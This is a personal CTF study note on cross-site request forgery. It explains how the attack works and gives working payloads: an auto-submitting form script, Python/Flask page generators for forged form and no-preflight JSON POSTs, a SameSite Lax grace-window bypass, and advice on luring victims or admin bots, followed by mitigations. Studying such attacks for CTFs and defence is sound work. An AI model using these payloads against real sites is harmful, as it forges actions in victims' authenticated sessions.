đź§  Cross-site Request Forgery

What is it?

  • Concept: Browsers attach ambient credentials (cookies) to a request regardless of which site triggered it. If a state-changing endpoint trusts “has a valid session cookie” as proof the request came from its own frontend — no anti-CSRF token, weak/no SameSite — an attacker can make the victim’s browser fire that request from anywhere, and the server can’t tell the difference.
  • Impact: Any state-changing action the victim (or an authenticated CTF admin bot) can perform: impersonation, privilege escalation (poisoning secrets, forging cookies, granting yourself access). In bot-based CTF challenges it’s frequently the trigger mechanism — the thing that actually gets the bot to visit a stored Cross-site Scripting payload or hit an SSRF-vulnerable endpoint, rather than the end goal itself.

How it works

  1. Find a state-changing endpoint authenticated purely by cookie, with no CSRF token / anti-CSRF header check.
  2. Work out what would block a forged cross-origin request from landing: SameSite, and whether the request needs to dodge a CORS preflight (only relevant if it needs custom headers/Content-Type: application/json).
  3. Build a page that fires the forged request the moment the victim visits it, using whichever method survives the blockers from step 2, and get the victim (or bot) to load it.

Exploitation

Prerequisites

  • A state-changing endpoint that trusts cookies alone for auth
  • A way to get the victim/bot to visit an attacker-controlled page while authenticated

Attack Vectors

Method 1 — Auto-submitting HTML form (top-level navigation). GET-based CSRF is trivial (<img src="..."> is enough). POST needs an actual top-level navigation, hence the form:

(function() {
    var f = document.createElement('form');
    f.action = 'http://target/admin/state-changing-endpoint';
    f.method = 'POST';
    var i = document.createElement('input');
    i.name = 'param';
    i.value = 'value';
    f.appendChild(i);
    document.body.appendChild(f);
    f.submit();
})();

(from HTB - Artificial University)

Python generator for the form page (copy-paste, host with Flask at the bottom):

from flask import Flask
 
def build_csrf_form(action: str, method: str = "POST", params: dict = None) -> str:
    """Generate an HTML page that auto-submits a forged form request.
 
    action:  full target URL
    method:  usually POST — GET-based CSRF doesn't need a form at all
    params:  dict of form field name -> value
    """
    params = params or {}
    inputs = "\n".join(
        f'    <input type="hidden" name="{k}" value="{v}">' for k, v in params.items()
    )
    return f"""<!DOCTYPE html>
<html>
<body>
  <form action="{action}" method="{method}">
{inputs}
  </form>
  <script>document.forms[0].submit();</script>
</body>
</html>"""
 
 
app = Flask(__name__)
PAYLOAD = build_csrf_form(
    action="http://target/admin/state-changing-endpoint",
    params={"param": "value"},
)
 
@app.route("/")
def serve():
    return PAYLOAD
 
if __name__ == "__main__":
    app.run(host="0.0.0.0", port=80)

Method 2 — SameSite=Lax bypass via the “Lax-POST” grace window. A session cookie set without an explicit SameSite attribute defaults to Lax — but browsers grant a short grace period (~2 minutes) right after the cookie is set where it still rides along on cross-site top-level POST navigations. If you can land the forged form submission (Method 1) shortly after the victim authenticates, it works even against a Lax default. It stops working once the window closes, and doesn’t apply at all to explicit SameSite=Strict. (from HTB - Artificial University; see PortSwigger’s writeup on bypassing SameSite for the full mechanics)

Method 3 — JSON-body CSRF without a preflight. Sending Content-Type: application/json normally triggers a CORS preflight — but that’s only because you set that header. fetch only preflights non-simple requests. If you send the JSON as a simple request (leave headers alone, so Content-Type defaults to text/plain) and the backend parses the body as JSON regardless of the declared Content-Type (common with force-parsing helpers like request.get_json(force=True)), no preflight fires and the browser sends the request straight through with cookies attached:

fetch("http://target/api/state-changing-endpoint", {
    method: "POST",
    mode: "no-cors",                          // blind write, don't need to read the response
    body: JSON.stringify({ "key": "value" })  // no headers set -> Content-Type: text/plain, no preflight
});

(from HTB - Tornado Service — used to poison an internal cookie_secret through a class-pollution sink that only cared about the parsed JSON body, never checked the declared Content-Type)

Python generator for the JSON variant:

import json
 
def build_json_csrf_page(action: str, body: dict) -> str:
    """Generate a page that fires a no-preflight JSON POST at `action` with `body`."""
    return f"""<!DOCTYPE html>
<html>
<body>
<script>
fetch("{action}", {{
    method: "POST",
    mode: "no-cors",
    body: '{json.dumps(body)}'
}});
</script>
</body>
</html>"""
 
 
# host the same way as Method 1:
# app = Flask(__name__); @app.route("/") def serve(): return build_json_csrf_page(...)

Delivering it to a victim / bot

This is the hosting/triggering side that Cross-site Scripting deliberately leaves out — the target still has to load your page while authenticated:

  • Real users: a link is enough (email, malicious site, ad) — the browser just needs to render the page.
  • CTF admin bots: almost always triggered through whatever “report a URL” / “share this page” feature the challenge exposes. Submit your hosted page’s URL there and the bot visits it with its own (usually admin) session. Seen consistently in BKISC CTF - Secure Notes, HTB - Artificial University, HTB - Tornado Service.

Notes

  • CORS only gates reading the response of a cross-origin request — it does nothing to stop the request from being sent, or from cookies attaching to it. Don’t waste time trying to “bypass CORS” for a blind CSRF that never needs to read anything back.
  • Don’t confuse this with Session Fixation — CSRF forges a request using the victim’s existing session; Session Fixation forces the victim to adopt a session you already control so you can read back what they do with it. HTB - Volnaya Forums chains the two: Session Fixation gets the admin using your cookie, then a plain navigation (not a forged cross-origin request) does the rest.
  • If SameSite=Strict is set and there’s no Lax-POST window to abuse, look for a state-changing GET endpoint instead — a bare <img src="..."> sidesteps the whole form/preflight problem.

Mitigation

  • Anti-CSRF tokens: a per-session (or per-request) token embedded in the form/header that a cross-origin attacker page can’t read or predict, validated server-side on every state-changing request.
  • Set SameSite explicitly (Strict where possible, Lax at minimum) — don’t rely on the browser default; the Lax-POST grace window in Method 2 exists specifically because the attribute wasn’t set explicitly.
  • Verify Content-Type strictly server-side and reject bodies that don’t match what’s declared, so the no-preflight JSON trick in Method 3 doesn’t work.
  • Re-authentication for sensitive actions (password change, payment, granting access) so a forged request alone isn’t sufficient.
FileCreated
BKISC CTF - Secure NotesSunday, May 10th 2026, 9:07:52 am
HTB - Artificial UniversityThursday, April 9th 2026, 11:36:53 pm
HTB - Tornado ServiceWednesday, April 15th 2026, 7:51:50 pm
UMassCTF - Building Blocks MarketSaturday, April 11th 2026, 11:41:56 pm